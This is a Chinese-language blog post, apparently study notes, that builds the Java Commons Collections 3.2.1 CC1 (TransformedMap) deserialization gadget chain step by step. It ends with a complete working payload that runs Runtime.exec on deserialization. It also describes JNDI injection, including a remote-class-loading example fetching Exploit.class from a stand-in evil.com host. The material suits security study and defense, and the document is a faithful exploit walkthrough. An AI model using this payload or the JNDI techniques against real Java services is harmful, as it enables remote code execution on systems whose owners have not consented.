首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >代码审计 | CC1 TransformedMap 链 ——前言 反向调试 构造Payload

代码审计 | CC1 TransformedMap 链 ——前言 反向调试 构造Payload

原创
作者头像
弹不出的shell
发布2026-03-31 12:41:08
发布2026-03-31 12:41:08
310
举报
文章被收录于专栏:代码审计代码审计

代码审计 | CC1 TransformedMap 链 ——前言 反向调试 构造Payload

学习笔记,记录自己学 CC1 链的思路历程,不是教程,有啥问题欢迎交流。


目录


最终目标是什么

攻击者想要执行这条命令:

代码语言:javascript
复制
Runtime.getRuntime().exec("calc");

那就有两个问题要想清楚:

  • 在反序列化过程中,怎样才能让它自动执行这行代码?
  • 不能直接写这句话,因为反序列化时只会调用 readObject() 方法

所以第一个问题就变成了:通过什么方法层层调用到 exec() 的?


通过反射调用函数

答案是:通过反射调用函数!

代码语言:javascript
复制
Runtime.class.getMethod("exec", String.class).invoke(Runtime.getRuntime(), "calc");

这是原本可以正常执行的反射调用。

但是如果随便写一个方法放入这段代码,反序列化的时候不会自动执行。那就必须把它放到一个会自动执行的方法里,比如 readObject()——反序列化时会自动调用它。

所以如果代码这样写:

代码语言:javascript
复制
package org.example;
​
import java.io.*;
import java.lang.reflect.InvocationTargetException;
​
class cc1 implements Serializable {
    private void readObject(ObjectInputStream ois) throws IOException,
            ClassNotFoundException, NoSuchMethodException,
            InvocationTargetException, IllegalAccessException {
        Runtime.class.getMethod("exec", String.class).invoke(Runtime.getRuntime(), "calc");
    }
}
​
public class Main {
    public static void main(String[] args) throws Exception {
        // 创建恶意对象
        cc1 evil = new cc1();
​
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(evil);
        byte[] payload = baos.toByteArray();
​
        // 反序列化(触发恶意代码)
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
        ois.readObject(); // ← calc 应该会打开
    }
}

是可以成功的。


但实际场景中没地方写代码怎么办

问题来了——如果是一个 Web 应用,根本没地方写代码,没有执行的地方,不可能直接开一个 readObject 的入口给我们写代码。

这就需要借助反序列化入口的服务,比如 JNDI 注入(RMI / LDAP)

JNDI 注入相当于反序列化攻击的升级版,有两种利用方式:

方式 A:直接传输 Payload(CC 链)

即使 Web 应用没写 readObject,但如果它调用了 InitialContext.lookup("rmi://攻击者IP/Object")

  1. 攻击者的 RMI 服务器会把构造好的 CC 链字节流 发给 Web 应用。
  2. Web 应用的 JNDI 客户端在接收数据时,底层会自动调用 readObject
  3. 代码执行。

方式 B:远程类加载

这是 JNDI 注入最经典的地方:

  1. 攻击者告诉 Web 应用:"你要的对象在 http://evil.com/Exploit.class"。
  2. Web 应用发现本地找不到这个类,会真的去下载这个 .class 文件并加载。
  3. 这时你确实可以"写代码"了:你写一个带静态代码块的 Exploit.java,编译成 .class 放服务器上,Web 应用下载运行的那一刻,代码就执行了。

局限性: 这种方式太猛了,所以后来 Java 官方加了限制(通过 com.sun.jndi.rmi.object.trustURLCodebase 等配置,默认为 false),不允许随便下载远程代码。


Gadget Chain 的由来

如果不能直接下载我们写的类,直接传入自己写的类也会因为找不到这个类而报错。

那么现在的方法就只有:改造源代码里已有类的 readObject 方法,通过精心构造的调用链,把最终的 exec() 调用链起来。

这就是各种 Gadget Chain(利用链) 出现的原因,而 CC 链(Commons Collections)就是其中最经典的一批。


CC1 链构造过程

环境准备

  • JDK:8u65(高版本对反射加了限制,CC1 需要低版本)
  • 依赖:Commons Collections 3.2.1
代码语言:javascript
复制
<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

第一步:找到能执行命令的点 —— InvokerTransformer

首先需要找到一个可以利用反射调用执行的代码。

InvokerTransformer.transform() 可以,它本质就是反射调用任意方法

把它配置成:

  • input = Runtime 实例
  • iMethodName = "exec"
  • iArgs = "calc"

就等于执行了 Runtime.getRuntime().exec("calc")

并且这些参数都是可控的

因此现在可以构造:

代码语言:javascript
复制
public static void main(String[] args) {
    // 构造 Transformer
    InvokerTransformer invoker = new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new Object[]{"calc"}
    );
​
    invoker.transform(Runtime.getRuntime());
}

成功执行。


第二步:Runtime 不能序列化怎么办

这里有两个问题:

问题一:Runtime.getRuntime() 传入的这个实例怎么来的?

问题二:谁会调用 InvokerTransformer.transform(Runtime.getRuntime())

先回答问题一:为什么不直接 new ConstantTransformer(Runtime.getRuntime())

因为 Runtime 不能序列化,直接放进去序列化会报错。所以只能序列化 Runtime.class(Class 对象可以序列化),然后通过反射在运行时再拿到实例。


第三步:谁来串联调用 —— ChainedTransformer

回答问题二:谁来调用 InvokerTransformer.transform(Runtime实例)

ChainedTransformer.transform()——它把每个 Transformer 串起来,上一个的输出自动传给下一个。这刚好弥补了需要多次调用 InvokerTransformer.transform() 才能实现完整反序列化链的问题。

调用顺序如下:

代码语言:javascript
复制
ConstantTransformer(Runtime.class)         → 输出 Runtime.class
InvokerTransformer("getMethod", "getRuntime") → 输出 getRuntime 这个 Method 对象
InvokerTransformer("invoke", null)         → 调用 getRuntime() → 输出 Runtime 实例
InvokerTransformer("exec")                 → 执行 exec("calc")

构造代码:

代码语言:javascript
复制
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),          // 1. 输出 Runtime.class
    new InvokerTransformer("getMethod",              // 2. 拿到 getRuntime 方法
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",                 // 3. 调用 getRuntime() 拿到实例
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",                   // 4. 执行 exec("calc")
        new Class[]{String.class},
        new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform(null); // 入参是 null,因为第一步 ConstantTransformer 会忽略输入

效果:


第四步:谁来触发 transform() —— TransformedMap

现在问题变成:谁会调用 chain.transform()

TransformedMap——当 Map 的值被修改时,会自动调用 valueTransformer.transform()。不过它是 protected 类型,不能直接使用,需要找到调用这个方法的入口。

另外还有一个要求:valueTransformer可控的,可控的话只要传入 chain 就行。

查找可以传入可控 valueTransformer 的方法:

不过这个也是 protected,不能直接调用,需要找公共的入口方法。

  • 第一步:找公开调用 checkSetValue 的方法——用 Alt+F7 或右键查找用法,找到 setValue
  • 第二步:找公开调用 TransformedMap 的方法,找到两个,使用第一个(第二个会使链断掉):

使用 TransformedMap.decorate(map, null, chain) 就能正常传入我们的链条了:

运行时提示

map 值不能为空,构造一个:

代码语言:javascript
复制
Map innerMap = new HashMap();
innerMap.put("value", "xxx");
​
Map transformedMap = TransformedMap.decorate(innerMap, null, chain);

注意:keyvalue 填什么都行——因为 ConstantTransformer 第一步就把输入忽略了。不过后面 AnnotationInvocationHandler 里有条件判断,key 必须填 "value",后面会讲到。

还差最开始的触发方法,它在两个类的下面:


第五步:找到自动调用 setValue 的地方 —— AnnotationInvocationHandler

右键查找谁调用了 setValue,结果有很多:

最终找到的是 AnnotationInvocationHandler.class 里的 readObject 方法——这就是我们想要的终点,readObject 会被反序列化自动调用,setValue 在其 for 循环里:

但是有判断条件需要满足:

代码语言:javascript
复制
// 条件一:用 key 去注解里查有没有这个方法
Class var7 = (Class)var3.get(var6);
if (var7 != null) { // 查不到就跳过,setValue 永远不执行

所以 map 的 key 就是用来查注解方法的,查不到 var7 为 null,整个 if 块跳过,链断掉。@Target 只有 value() 这一个方法,所以 key 必须填 "value"

代码语言:javascript
复制
// 条件二:类型不匹配才会进 if 块
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
    var5.setValue(...) // 只有类型不匹配才进这里

var7 是注解方法的返回类型(ElementType[]),var8 是我们 map 里的值。只有类型不匹配,才会进 if 块调 setValue()。我们放字符串 "xxx",显然不是 ElementType[],条件满足。


第六步:构造 AnnotationInvocationHandler

先找到 AnnotationInvocationHandler 的构造方法,看它需要什么参数:

两个参数:

  • var1Class<? extends Annotation>,必须是一个注解类
  • var2Map<String, Object>,就是我们的 transformedMap

但是这个类不能直接引用

所以利用反射调用这个类:

代码语言:javascript
复制
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object handler = constructor.newInstance(Target.class, transformedMap);

这种反射构造的方法很多类都适用,但高版本 JDK 加了限制(setAccessible 会被 Module 系统拦截),这也是 CC1 依赖低版本 JDK 的原因之一。


完整 Payload

加上序列化和反序列化,完整 payload 如下:

代码语言:javascript
复制
public class test {
    public static <Set> void main(String[] args) throws ClassNotFoundException,
            NoSuchMethodException, InvocationTargetException,
            InstantiationException, IllegalAccessException, IOException {

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),          // 1. 输出 Runtime.class
            new InvokerTransformer("getMethod",              // 2. 拿到 getRuntime 方法
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",                 // 3. 调用 getRuntime() 拿到实例
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",                   // 4. 执行 exec("calc")
                new Class[]{String.class},
                new Object[]{"calc"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxx");
        Map transformedMap = TransformedMap.decorate(innerMap, null, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object handler = constructor.newInstance(Target.class, transformedMap);

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(handler);
        byte[] payload = baos.toByteArray();

        // 反序列化(触发链)
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
        ois.readObject();
    }
}

效果:


完整调用链总结

代码语言:javascript
复制
反序列化
  └─ AnnotationInvocationHandler.readObject()   ← 自动触发
       └─ Map.Entry.setValue()
            └─ TransformedMap.checkSetValue()
                 └─ ChainedTransformer.transform()
                      ├─ ConstantTransformer       → Runtime.class
                      ├─ InvokerTransformer        → getMethod("getRuntime")
                      ├─ InvokerTransformer        → invoke() → Runtime 实例
                      └─ InvokerTransformer        → exec("calc")  🎯

所以最终我们要序列化的对象就是 AnnotationInvocationHandler,整个 CC1 链(TransformedMap 版)就这样串起来了。

后续还有 LazyMap 版本的 CC1,触发点不同,但 Transformer 链的核心部分是一样的,到时候再对比着看。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 代码审计 | CC1 TransformedMap 链 ——前言 反向调试 构造Payload
    • 目录
    • 最终目标是什么
    • 通过反射调用函数
    • 但实际场景中没地方写代码怎么办
      • 方式 A:直接传输 Payload(CC 链)
      • 方式 B:远程类加载
    • Gadget Chain 的由来
    • CC1 链构造过程
      • 环境准备
      • 第一步:找到能执行命令的点 —— InvokerTransformer
      • 第二步:Runtime 不能序列化怎么办
      • 第三步:谁来串联调用 —— ChainedTransformer
      • 第四步:谁来触发 transform() —— TransformedMap
      • 第五步:找到自动调用 setValue 的地方 —— AnnotationInvocationHandler
      • 第六步:构造 AnnotationInvocationHandler
    • 完整 Payload
    • 完整调用链总结
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档